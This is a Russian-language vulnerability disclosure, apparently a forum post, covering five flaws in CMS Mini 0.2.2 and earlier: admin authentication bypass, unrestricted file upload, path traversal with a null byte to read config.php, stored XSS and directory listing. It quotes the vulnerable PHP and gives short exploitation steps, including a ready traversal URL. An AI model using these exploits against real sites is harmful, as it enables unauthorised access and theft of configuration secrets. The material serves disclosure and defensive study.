Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/
Уязвимость №1:
Проникновение в админ-панель.
Уязвимость существует из-за недостаточной фильтрации данных.
Уязвимый код:
PHP код:
if ($_SESSION['cmsmini_login'] != 1) header('location: login.php');
Если параметр cmsmini_login отличен от еденици, сервер отправляет заголовок Location: login.php. Но выполнения скрипта не останавливается. Это всего лишь браузер воспринимает заголовк как редирект.
Эксплуатация:
Для эксплуатации уязвимости необходимо использовать сниффер отправленых пакетов. После открытия страницы /admin/index.php, сниффер получит заголовки вида:
Код:
HTTP/1.1 302 Found
Date: Sat, 22 Aug 2009 19:16:45 GMT
Server: Apache/2.2.11 (Win32) PHP/5.2.9-2
X-Powered-By: PHP/5.2.9-2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Transfer-Encoding: chunked
Content-Type: text/html
Кроме них в сниффере можно увидеть тело админки. Неудобная, но все же уязвимость.
Уязвимость №2:
Заливка файла произвольного расширения.
Уязвимость существует из-за отсутствия фильтрации/проверки расширения файла.
Уязвимый код:
PHP код:
case 'newimage':
$imagefile = $_FILES['imagefile'];
if( is_uploaded_file($imagefile['tmp_name']) ) new_image($imagefile, $dirpath);
else die('image upload failed...');
break;
Код:
/admin/functions.php
PHP код:
function new_image($imagefile, $dirpath){
$name = $imagefile['name'];
$filename = $dirpath.'/'.$name;
$dirlist = $dirpath.'/dir.list';
$new_row = $name.'|'.$name.'|0|';
move_uploaded_file($imagefile['tmp_name'], $filename);
in_dirlist($dirlist, $new_row);
}
Эксплуатация:
Залить любой файл в поле Image.
Уязвимость №3:
Читалка файлов.
Уязвимость существует из-за отсутствия фильтрации входящих данных в параметре path.
Уязвимый код:
PHP код:
$subpath = $_GET['path'];
if( $subpath )
$dirpath = '../pages/'.$subpath;
...
$dirlist = $dirpath.'/dir.list';
...
$rows = file($dirlist);
...
$n = count($rows);
...
for( $i=0; $i<$n; $i++ ){
//тут много echo с выводом файла
Эксплуатация:
Код:
/admin/index.php?path=../admin/config.php%00
Уязвимость №4:
Активная XSS.
Уязвимость существует из-за отсутствия фильтрации входящих данных.
Уязвимый код:
Эксплуатация:
HTML-код в поле Page/Folder -> create new page / create new folder.
Уязвимость №5:
"Листинг" директорий.
Уязвимость существует из-за отсутствия запрета на чтение файла со списком файлов/директрий.
© mailbrush
Это не все дырки этой CMS...